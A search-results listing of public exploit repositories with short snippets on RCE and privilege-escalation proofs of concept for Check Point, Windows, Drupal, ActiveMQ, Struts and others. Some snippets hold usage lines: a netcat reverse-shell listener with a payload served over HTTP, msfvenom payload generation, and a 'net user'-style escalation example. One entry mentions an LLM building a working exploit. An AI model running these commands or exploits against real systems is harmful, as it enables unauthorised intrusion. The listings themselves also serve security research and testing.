232322 matches found
check-point-gateways-rce
Check Point Security Gateways RCE by element.security Tested against R81.10 T335, R80.40 T294 Usage example: python3 checkpointgatewaysrce.py --mode dump https://192.168.0.100 Research blog post: Check Point Security Gateways RCE via CVE-2021-40438...
Windows-RCE-exploits
My other github repo for vendor testing against fileless attacks - https://github.com/smgorelik/VendorSimTestScripts Windows-RCE-exploits The exploit samples database is a repository for RCE remote code execution exploits and Proof-of-Concepts for WINDOWS , the samples are uploaded for education...
CVE-2026-49083
CVE-2026-49083 CVE-2026-49083 LatePoint Calendar Booking Plugin Privilege Escalation Exploit 🎲🎲🎲...
exphub
Notice In the end, I still felt that having separate scripts for each vulnerability was very inconvenient, so I integrated all poc and exp scripts into one, enabling one-click scanning + exploitation. Since I've been working on integration recently, Exphub has not been updated for a long time. Th...
CVE-2020-29607
CVE-2020-29607 Exploit for CVE-2020-29607 Usage...
CVE-2018-8120
CVE-2018-8120 CVE-2018-8120 Windows LPE exploit Supports both x32 and x64. Tested on: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64. Usage CVE-2018-8120 exploit by @unamerhttps://github.com/unamer Usage: exp.exe command Example: exp.exe "net us...
CVE-2018-15982_EXP
CVE-2018-15982EXP Usage msfvenom -p windows/exec cmd=notepad.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=notepad.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin output exp.swf and index.html。 Demo https://twitter.com/Evi1cg/status/1071284773169950721...
Drupal_REST-RCE_Unauthenticated
CVE-2019-6340 — Drupal RESTful Web Services RCE Python implementation of the remote code execution exploit for CVE-2019-6340, based on analysis of the Metasploit module and the prior work by leonjza. Key difference from EDB-46459: uses POST instead of GET, bypassing Drupal's page cache — can be...
getsploit
Getsploit Search and download public exploits from theVulners database — online, or fully offline from a local index. Get an API key · Vulners search · Changelog · Architecture · Security policy !Getsploit searching online, building a local FTS5 index, then searching and mirroring...
dirtyfrag
Dirty Frag: Universal Linux LPE Abstract This document describes the Dirty Frag vulnerability class, first discovered and reported by Hyunwoo Kim @v4bel, which can obtain root privileges on major Linux distributions by chaining the xfrm-ESP Page-Cache Write CVE-2026-43284 vulnerability and the...
CVE-2024-53677
CVE-2024-53677 Proof of concept exploit for CVE-2024-53677 - Apache Struts file upload path traversal vulnerability leading to Remote Code Execution...
CVE-2018-7849
CVE-2018-7849 Affected Products Schneider Electric Modicon M580 Version 2.90 Schneider Electric Modicon M340 Version 3.10 Schneider Electric Modicon Premium All Versions Schneider Electric Modicon Quantum All Versions References https://www.se.com/ww/en/download/document/SEVD-2019-134-11/...
how2heap
Educational Heap Exploitation This repo is for learning various heap exploitation techniques. We use Ubuntu's Libc releases as the gold-standard. Each technique is verified to work on corresponding Ubuntu releases. You can run apt source libc6 to download the source code of the Libc you are using...
CVE-2023-46604-RCE
CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...
PoC-CVE-2017-0199
PoC-CVE-2017-0199 Exploit toolkit for vulnerability RCE Microsoft RTF. About this vulnerability: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...
CopyFail-Experiment
Just an experiment to verify that the LLM can find this vuln and construct a working exploit. Usage gcc -o poc poc.c ./poc...
Windows-exploitation-Rejetto-HTTP-File-Server-HFS-2.3.x-CVE-2014-6287
This repository does not have a README...
CVE-2021-3130
CVE-2021-3129 Yet another exploit for CVE-2021-3129! Made to have more features and reliability. Based on https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 DISCLAIMER: This script is made to audit the security of systems. Only use this script on your own systems or on...
-CVE-2020-8103-Bitdefender-Antivirus-Free-EoP
CVE-2020-8103 Exploit The write up can be found in the blog of the RedyOps Labs: https://labs.redyops.com/index.php/2020/04/24/bitdefender-antivirus-free-escalation-of-privileges/ Third Party Tools This exploit code, is heavily based on symboliclink-testing-tools which was Developed by James...